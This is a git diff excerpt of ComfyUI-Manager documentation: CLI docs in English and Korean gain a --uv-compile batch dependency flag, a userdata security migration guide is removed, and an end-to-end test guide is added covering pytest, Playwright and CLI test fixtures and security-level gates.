| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
### Traceability
| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |
| FR-8: Restart discovery | TC-17 |
| FR-9: Real-world compatibility | TC-17, TC-18 |
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
+57 -30
View File
@@ -7,40 +7,39 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* You can execute it via `python cm-cli.py`.
* You can execute it via the `cm-cli` command.
* For example, if you want to update all custom nodes:
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
* `cm-cli update all`
## Prerequisite
* It must be run in the same Python environment as the one running ComfyUI.
* If using a venv, you must run it with the venv activated.
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
`.\python_embeded\python.exe -m cm_cli update all`
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
## Features
### 1. --channel, --mode
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
### 2. Viewing Management Information
@@ -49,7 +48,7 @@ OPTIONS:
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
(Plans are to update the use of nicknames in the future.)
@@ -112,11 +111,27 @@ ComfyUI-Loopchain
* `enable`: Enables the specified custom nodes.
* `fix`: Attempts to fix dependencies for the specified custom nodes.
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
* Requires `uv` to be installed.
* Prevents dependency conflicts between multiple node packs.
* On resolution failure, displays conflicting packages and which node packs requested them.
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. Snapshot Management
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* With `--output`, you can save a file in .yaml format to any specified path.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* If a file exists at the snapshot path, that snapshot is loaded.
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
* `--pip-non-url`: Restore for pip packages registered on PyPI.
@@ -125,23 +140,35 @@ ComfyUI-Loopchain
* `--user-directory`: Set the user directory.
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
### 5. CLI Only Mode
### 5. Dependency Restoration
You can set whether to use ComfyUI-Manager solely via CLI.
`cli-only-mode [enable|disable]`
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
### 6. Dependency Restoration
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
### 7. Clear
### 6. Install from Dependency File
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
* Useful for environment recovery or initial setup without starting ComfyUI.
* Requires `uv` to be installed.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. Clear
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
@@ -1,230 +0,0 @@
# ComfyUI-Manager V3.38: Userdata Security Migration Guide
## Introduction
ComfyUI-Manager V3.38 introduces a **security patch** that migrates Manager's configuration and data to a protected system path. This change leverages ComfyUI's new System User Protection API (PR #10966) to provide enhanced security isolation.
This guide explains what happens during the migration and how to handle various situations.
---
## What Changed
### Finding Your Paths
When ComfyUI starts, it displays the full paths in the terminal:
```
** User directory: /path/to/ComfyUI/user
** ComfyUI-Manager config path: /path/to/ComfyUI/user/__manager/config.ini
```
Look for these lines in your startup log to find the exact location on your system. In this guide, paths are shown relative to the `user` directory.
### Path Migration
| Data | Legacy Path | New Path |
|------|-------------|----------|
| Configuration | `user/default/ComfyUI-Manager/` | `user/__manager/` |
| Snapshots | `user/default/ComfyUI-Manager/snapshots/` | `user/__manager/snapshots/` |
### Why This Change
In older ComfyUI versions, the `default/` directory was **unprotected** and accessible via web APIs. If you ran ComfyUI with `--listen 0.0.0.0` or similar options to allow external connections, this data **may have been tampered with** by malicious actors.
**Note:** If you only used ComfyUI locally (without `--listen` or with `--listen 127.0.0.1`), your data was not exposed to this vulnerability.
The new `__manager` path uses ComfyUI's protected system directory, which:
- **Cannot be accessed** from outside (protected by ComfyUI)
- Isolates system settings from user data
- Enables stricter security for remote access
**This is why only `config.ini` is automatically migrated** - other files (snapshots) may have been compromised and should be manually verified before copying.
---
## Automatic Migration
When you start ComfyUI with the new System User Protection API, Manager automatically handles the migration:
### Step 1: Configuration Migration
Only `config.ini` is migrated automatically.
**Important**: Snapshots are **NOT** automatically migrated. You must copy them manually if needed.
### Step 2: Security Level Check
During migration, if your security level is below `normal` (i.e., `weak` or `normal-`), it will be automatically raised to `normal`. This is a safety measure because the security level setting itself may have been tampered with in the old version.
```
======================================================================
[ComfyUI-Manager] WARNING: Security level adjusted
- Previous: 'weak' → New: 'normal'
- Raised to prevent unauthorized remote access.
======================================================================
```
If you need a lower security level, you can manually edit the config after migration.
### Step 3: Legacy Backup
Your entire legacy directory is moved to a backup location:
```
user/__manager/.legacy-manager-backup/
```
This backup is preserved until you manually delete it.
---
## Persistent Backup Notification
As long as the backup exists, Manager will remind you on **every startup**:
```
----------------------------------------------------------------------
[ComfyUI-Manager] NOTICE: Legacy backup exists
- Your old Manager data was backed up to:
/path/to/ComfyUI/user/__manager/.legacy-manager-backup
- Please verify and remove it when no longer needed.
----------------------------------------------------------------------
```
**To stop this notification**: Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
---
## Recovering Old Data
### Snapshots
If you need your old snapshots, copy the contents of `.legacy-manager-backup/snapshots/` to `user/__manager/snapshots/`.
---
## Outdated ComfyUI Warning
If you're running an older version of ComfyUI without the System User Protection API, Manager will:
1. **Force security level to `strong`** - All installations are blocked
2. **Display warning message**:
```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ComfyUI-Manager] ERROR: ComfyUI version is outdated!
- Most operations are blocked for security.
- ComfyUI update is still allowed.
- Please update ComfyUI to use Manager normally.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```
**Solution**: Update ComfyUI to v0.3.76 or later.
---
## Security Levels
| Level | What's Allowed |
|-------|----------------|
| `strong` | ComfyUI update only. All other installations blocked. |
| `normal` | Install/update/remove registered custom nodes and models. |
| `normal-` | Above + Install via Git URL or pip (localhost only). |
| `weak` | All operations allowed, including from remote connections. |
**Notes:**
- `strong` is forced on outdated ComfyUI versions.
- `normal` is the default and recommended for most users.
- `normal-` is for developers who need to install unregistered nodes locally.
- `weak` should only be used in isolated development environments.
### Changing Security Level
Edit `user/__manager/config.ini`:
```ini
[default]
security_level = normal
```
---
## Error Messages
### "comfyui_outdated" (HTTP 403)
This error appears when:
- Your ComfyUI doesn't have the System User Protection API
- All installations are blocked until you update ComfyUI
**Solution**: Update ComfyUI to the latest version.
### "security_level" (HTTP 403)
This error appears when:
- Your security level blocks the requested operation
- For example, `strong` level blocks all installations
**Solution**: Lower your security level in config.ini if appropriate for your use case.
---
## Security Warning: Suspicious Path
If you see this error on an **older** ComfyUI:
```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ComfyUI-Manager] ERROR: Suspicious path detected!
- '__manager' exists with low security level: 'weak'
- Please verify manually:
/path/to/ComfyUI/user/__manager/config.ini
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```
On older ComfyUI versions, the `__manager` directory is not normally created. If this directory exists, it may have been created externally. For safety, manually verify the contents of this directory before updating ComfyUI.
---
## Troubleshooting
### All my installations are blocked
**Check 1**: Is your ComfyUI updated?
- Old ComfyUI forces `security_level = strong`
- Update ComfyUI to resolve
**Check 2**: What's your security level?
- Check `user/__manager/config.ini`
- `security_level = strong` blocks all installations
### My snapshots are missing
Snapshots are not automatically migrated. You need to manually copy the `snapshots` folder from inside `.legacy-manager-backup` to the `user/__manager/` directory.
### I keep seeing the backup notification
Delete the `.legacy-manager-backup` folder inside `user/__manager/` after confirming you don't need any data from it.
### Snapshot restore is blocked
On old ComfyUI (without System User API), snapshot restore is blocked because security is forced to `strong`. Update ComfyUI to enable snapshot restore.
---
## File Structure Reference
```
user/
└── __manager/
├── config.ini # Manager configuration
├── channels.list # Custom node channels
├── snapshots/ # Environment snapshots
└── .legacy-manager-backup/ # Backup of old Manager data (temporary)
```
---
## Requirements
- **ComfyUI**: v0.3.76 or later (with System User Protection API)
- **ComfyUI-Manager**: V3.38 or later
+349
View File
@@ -0,0 +1,349 @@
# GUIDE_E2E_TEST — ComfyUI-Manager E2E Test Guide
> Auto-generated by pair-scaffold (test-guide mode). Domain: **api** (primary)
> with mixed **web** (Playwright UI) + **cli** (cm-cli subprocess) elements.
> Date: 2026-04-21.
This guide consolidates session-wide E2E knowledge accumulated through the
WI-A..WI-ZZ sweep. It is the entry point for writing, running, and auditing
end-to-end tests against the ComfyUI-Manager backend (glob + legacy) and
the legacy management UI. Companion registry of reusable test patterns:
`.claude/scaffold/e2e-methods.yml`.
---
## 1. Testing Strategy
Three test surfaces cover different contract layers. Pick the surface that
matches the contract you are validating — do not default to "everything".
| Surface | Location | Transport | Authoritative for |
|---------|----------|-----------|-------------------|
| **pytest E2E** | `tests/e2e/*.py` | Direct HTTP via `requests` against running aiohttp server | Endpoint contract (status, schema, side-effect, CSRF) |
| **Playwright UI (real)** | `tests/playwright/legacy-ui-*.spec.ts` | Browser click → real backend | UI↔backend wiring against actual server state |
| **Playwright UI (mock)** | `tests/playwright/legacy-ui-mock-*.spec.ts` | Browser click → `page.route()` intercept | UI→API request shape (URL / method / payload) without backend mutation |
| **CLI subprocess** | `tests/cli/test_uv_compile.py` | `subprocess.run()` against `cm-cli` | CLI command contract (args, exit code, stdout/stderr) |
**Layering rule**: when both pytest and Playwright can cover a behavior, use
pytest for backend contract and Playwright for UI wiring. Mock Playwright is
acceptable ONLY when real execution is infeasible (security gate, destructive
operation, long-running network) — flag it in the test name suffix
(`-mock` / `WI-WW-mock`) and document the honesty boundary (§6 below).
---
## 2. Test Categories
| Category | Description | Location | Tools |
|----------|-------------|----------|-------|
| pytest E2E direct | Endpoint contract via HTTP | `tests/e2e/` | `requests` + `pytest` |
| pytest E2E negative | CSRF / 400 / input validation | `tests/e2e/test_e2e_csrf*.py` | `requests` |
| Playwright real | UI click → real backend | `tests/playwright/legacy-ui-*.spec.ts` | `@playwright/test` |
| Playwright mock | UI click → `page.route` mocked response | `tests/playwright/legacy-ui-mock-*.spec.ts` | `@playwright/test` `page.route` |
| CLI subprocess | cm-cli end-to-end | `tests/cli/` | `pytest` + `subprocess.run` |
---
## 3. Critical Environment Requirements
**MUST read before writing any E2E test.** These are not optional; every one
cost at least one debugging cycle in the sweep.
### 3.1 Editable install requirement
After editing source under `comfyui_manager/`, re-run `uv pip install -e .`
inside the E2E venv. A running server uses whatever source the venv
registered at startup — stale source means stale behaviour. After commit
`99caef55` (CSRF state-changing-endpoint conversion), skipping this step
caused POST routes to return 405 because the test venv still had the
pre-conversion routing table.
### 3.2 Legacy vs glob mutex
`comfyui_manager/__init__.py:14-45` loads EITHER the glob manager OR the
legacy manager — never both. Use the fixture script that matches the
contract under test:
| Script | Manager | Extra flags |
|--------|---------|-------------|
| `tests/e2e/scripts/start_comfyui.sh` | glob | none |
| `tests/e2e/scripts/start_comfyui_legacy.sh` | legacy | `--enable-manager-legacy-ui` |
| `tests/e2e/scripts/start_comfyui_strict.sh` | glob | patches `config.ini` to `security_level = strong` (for negative-path `403` tests on `middle` / `middle+` gates) |
| `tests/e2e/scripts/start_comfyui_permissive.sh` | legacy + relaxed | patches `config.ini` to `security_level = normal-` and sets `ENABLE_LEGACY_UI=1` (for positive-path tests on `high+` gates: `comfyui_switch_version`, `install/git_url`, `install/pip`) |
Mixing them in the same suite is an error — pytest modules that exercise
legacy-only endpoints MUST live in `test_e2e_legacy_*.py` so the fixture can
select the legacy script.
### 3.3 Port namespace + PID files
All fixture scripts write `$LOG_DIR/comfyui.${PORT}.pid`. Default ports:
| Manager | Default PORT | PID file |
|---------|:---:|----------|
| glob | 8188 | `$LOG_DIR/comfyui.8188.pid` |
| legacy | 8199 | `$LOG_DIR/comfyui.8199.pid` |
| strict | 8188 | `$LOG_DIR/comfyui.8188.pid` |
Because the PID file is per-port, glob + legacy suites can run concurrently
if they pick distinct ports. Never hard-code `8188` / `8199` in your
assertions — read `PORT` from env.
### 3.4 Safety env var — manager_requirements skip
`start_comfyui.sh` exports `COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1`
(added in WI-WW/WI-YY). Any install/update code path that would otherwise
reinstall `manager_requirements.txt` sees this flag and skips. Real install
tests (e.g. `test_e2e_legacy_real_ops.py::TestInstallModelRealDownload`)
depend on this — without it the test server would re-pin its own
dependencies mid-test and fail randomly.
### 3.5 E2E_ROOT
`$E2E_ROOT` is the venv root + artifact directory produced by
`tests/e2e/scripts/setup_e2e_env.sh`. All fixture scripts source from it.
Export it once per shell session, or pass it per-command:
```bash
export E2E_ROOT=</path/to/your/e2e-root> # one-time
```
**Portability**: never hard-code the absolute path inside test code. Read
from `os.environ["E2E_ROOT"]` or let the fixture script resolve it.
---
## 4. Fixture Patterns
### 4.1 `comfyui` module-scoped fixture
`tests/e2e/conftest.py` defines a module-scoped `comfyui` fixture that:
1. Invokes `start_comfyui.sh` with the current PORT.
2. Blocks until the server accepts requests (or timeout).
3. Yields the server URL for the test.
4. Tears down with `stop_comfyui.sh` (kills the PID in the `.pid` file).
### 4.2 Fixture variants
| Variant | Fixture script | Extra setup |
|---------|---------------|-------------|
| glob (default) | `start_comfyui.sh` | PORT=8188 |
| legacy | `start_comfyui_legacy.sh` | PORT=8199, `ENABLE_LEGACY_UI=1` |
| strict | `start_comfyui_strict.sh` | Patches `config.ini` to `security_level = strong` (backup at `config.ini.before-strict`); fixture MUST restore on teardown. Used for negative-path `403` assertions on `middle` / `middle+` gates. |
| permissive | `start_comfyui_permissive.sh` | Patches `config.ini` to `security_level = normal-` (backup at `config.ini.before-permissive`) and sets `ENABLE_LEGACY_UI=1`; fixture MUST restore on teardown. Used for positive-path execution of `high+` gated endpoints (`comfyui_switch_version`, `install/git_url`, `install/pip`) with hardcoded trusted inputs. |
### 4.3 Example invocation
```bash
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest \
tests/e2e/test_e2e_legacy_endpoints.py -v --timeout=300
```
Use the venv's interpreter explicitly (`$E2E_ROOT/venv/bin/python`) — not
the system `python` — so the test runs against the editable install from
§3.1.
---
## 5. Test Design Patterns
Distilled from the sweep. Match the pattern to your contract; do not
invent new patterns without recording them in
`.claude/scaffold/e2e-methods.yml`.
### 5.1 Positive-path
Status 200 + response schema + side-effect verification. Do not stop at
status 200 — assert at least one schema field AND one observable side
effect (disk artifact, queue entry, config change).
### 5.2 Negative-path
Status 400 / 403 / 405 + body message substring. CSRF-reject tests live
in `test_e2e_csrf*.py` and are parametrized over the full endpoint list.
### 5.3 Async queue polling
Install / update endpoints enqueue work and return immediately. Poll
`/v2/manager/queue/status` or the expected disk artifact until completion.
Never `time.sleep()` with a hard-coded interval — use `expect.poll` (TS)
or a polling helper with a timeout.
### 5.4 Teardown mandatory for mutation tests
Install / save / apply tests MUST restore the original state. Use
`try/finally` or a pytest fixture. A failing test that leaves a modified
config.ini or an installed custom_node poisons every subsequent test in
the suite.
### 5.5 `@pytest.mark.xfail` for known bugs
When a test documents a bug that is not yet fixed, mark it
`@pytest.mark.xfail(reason=...)`. When the fix lands, flip to `xfail(strict=True)`
or remove the mark and include the fix commit hash in the removal commit
message (see `test_reinstall_with_uv_compile` / commit `ddccefbc` for the
pattern).
### 5.6 Playwright selector stability
Prefer title attribute — e.g. `select[title^="Configure the channel"]`
over class selectors (shared across multiple combos). Label-based
(`:has(span.text-muted:text-is("Channel"))`) is second-best. Class-only
is brittle. See `reports/legacy-ui-channel-combo-dom-mapping.md` for the
channel-combo case study.
### 5.7 Playwright 2-hop mock
For fail-state UI scenarios: mock GET (inject a fake pack that puts the UI
into the failure state) + intercept POST (capture the payload the failure
handler fires). (The prior `legacy-ui-mock-install.spec.ts::wi-015`
exemplar was superseded by a real-E2E pre-seeded broken-pack test in
`tests/e2e/test_e2e_legacy_real_ops.py::TestImportFailInfoReal` — use
this technique only when real backend reproduction is infeasible.)
### 5.8 Playwright `page.request.post` fallback
For structurally unreachable UI triggers — e.g. the idle-state
`queue/reset` Stop button is `display: none` — use the browser-context
HTTP client to bypass the UI. Document the reason in the spec comment so
future readers don't "fix" it by forcing a click.
---
## 6. Security Gate Matrix
`comfyui_manager/glob/utils/security_utils.py:20-26` gates endpoints by
risk level. The default `security_level=normal` allows middle+ but
rejects high+ with 403.
| Gate | Local only? | security_level must be in |
|------|:---:|---------------------------|
| `middle+` | optional | `{WEAK, NORMAL, NORMAL_}` (default allows) |
| `high+` | required | `{WEAK, NORMAL_}` (default `NORMAL` ⇒ 403) |
**high+ endpoints** (`comfyui_switch_version`, `install/git_url`,
`install/pip`, install_model with non-safetensors, etc.) require
`start_comfyui_permissive.sh` to be tested positively. That harness
backs up `config.ini`, patches `security_level = normal-`, sets
`ENABLE_LEGACY_UI=1`, and the pytest fixture restores the config on
teardown. Use hardcoded trusted inputs only (never user-derived) — the
default-security `403` contract is the positive-path security behavior
we want to preserve in production. The counterpart
`start_comfyui_strict.sh` harness (`security_level = strong`) is used to
exercise the 403 negative path for `middle` / `middle+` gates. See the
WI-YY infeasibility log for which high+ endpoints still need harness
work.
**Honesty boundary for mock-based closures**: rows in
`reports/api-coverage-matrix.md` marked `Y (WI-WW-mock)` assert UI→API
wiring only — URL + method + payload shape. They do NOT assert backend
handler behavior; that is pytest's job. A regression that kept the UI
firing correctly but broke the backend would not be caught by the mock
test alone. Document the boundary in the spec comment.
---
## 7. Audit & Coverage Artifacts
Tracked reports under `reports/`. Update these when you add or retire
tests.
| Artifact | Purpose | Maintenance |
|----------|---------|-------------|
| `reports/e2e_verification_audit.md` | Per-test verdict matrix (✅ PASS / ⚠️ WEAK / ❌ INADEQUATE / N/A) with Summary table, per-file sections, TOTAL counts | Any new or retired test → update both the per-file section and Summary; then run `scripts/verify_audit_counts.py` |
| `reports/api-coverage-matrix.md` | 39-endpoint × pytest + Playwright matrix | Update when a new endpoint is added or a coverage cell flips |
| `reports/test-bloat-inventory.md` | 10-code bloat sweep (B1-BA), 127-test baseline | Run `/pair-sweep test bloat identification` for a re-baseline when churn exceeds 10 tests |
**Verification script**: `scripts/verify_audit_counts.py` parses
`e2e_verification_audit.md` and validates that the Summary row counts
match the per-file section counts and the TOTAL line. It MUST exit 0
before a doc-sync WI completes.
---
## 8. Test Bloat Checklist (B1-BA)
Use these codes when reviewing new tests. Sources:
`reports/test-bloat-inventory.md` + the sweep methodology in
`.claude/pair-working/sessions/sweep-endpoint-coverage/scratch/goal-report-bloat-sweep.md`.
| Code | Type | Criterion |
|------|------|-----------|
| **B1** Redundant | Duplicate assertion | Same assertion or contract already covered by another test |
| **B2** Over-parametrized | Boundary noise | Cases beyond boundary + equivalence class contribute zero |
| **B3** Mixed-concerns | Multi-concern | One test mixes 3+ unrelated assertions |
| **B4** Dead | Non-existent feature | Validates a removed / non-existent endpoint or API |
| **B5** Smoke-only | Superficial | Only checks status 200 + dict type, no substantive validation |
| **B6** Setup-heavy | Over-fixtured | 50+ lines of setup/teardown vs few assertions |
| **B7** Stale-skip | Obsolete skip | `pytest.skip` reason no longer valid |
| **B8** Title-mismatch | Misleading name | Function name does not match what it actually validates |
| **B9** Copy-paste | DRY violation | ≥80% duplication with another test; helper/parametrization possible |
| **BA** Impl-detail | Implementation-coupled | Validates internal implementation, not contract |
**Triage priority**: B4 ⇒ remove. B1/B9 ⇒ parametrize or remove the
duplicate. B8 ⇒ rename or refactor the assertion. B5/BA ⇒ strengthen or
remove. B6/B7 ⇒ clean up. B2/B3 ⇒ case-by-case.
---
## 9. Running Tests
### 9.1 pytest E2E — glob manager
```bash
pytest tests/e2e/ -v --timeout=300
```
### 9.2 pytest E2E — legacy-only endpoints
```bash
pytest tests/e2e/test_e2e_legacy_endpoints.py tests/e2e/test_e2e_csrf_legacy.py -v
```
### 9.3 Playwright (legacy UI)
```bash
PORT=8199 npx playwright test tests/playwright/
```
### 9.4 CLI subprocess
```bash
pytest tests/cli/ -v
```
### 9.5 Audit verification
```bash
python3 scripts/verify_audit_counts.py
```
Exits 0 when `reports/e2e_verification_audit.md` is internally consistent
(Summary ↔ per-file ↔ TOTAL). Exit non-zero → drift between sections.
### 9.6 Full suite (reference invocation)
```bash
# pytest all, with explicit venv
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest tests/e2e/ -v --timeout=300
# Playwright, legacy UI mode
PORT=8199 npx playwright test tests/playwright/
# Audit verification
python3 scripts/verify_audit_counts.py
```
---
## Appendix — Companion Files
- `.claude/scaffold/e2e-methods.yml` — living registry of the test
patterns described in §5 plus the bloat codes from §8. Append entries
when you establish a new pattern.
- `reports/e2e_verification_audit.md` — per-test verdict matrix.
- `reports/api-coverage-matrix.md` — endpoint × coverage matrix.
- `reports/test-bloat-inventory.md` — 127-test sweep baseline.
- `reports/legacy-ui-channel-combo-dom-mapping.md` — DOM selector case
study for the Channel combo.
+55 -31
View File
@@ -7,40 +7,39 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
* `cm-cli` 명령으로 실행할 수 있습니다.
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
* ComfyUI-Manager 경로에서 `python cm-cli.py update all` 명령을 실행할 수 있습니다.
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
* `cm-cli update all` 명령을 실행할 수 있습니다.
## Prerequisite
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
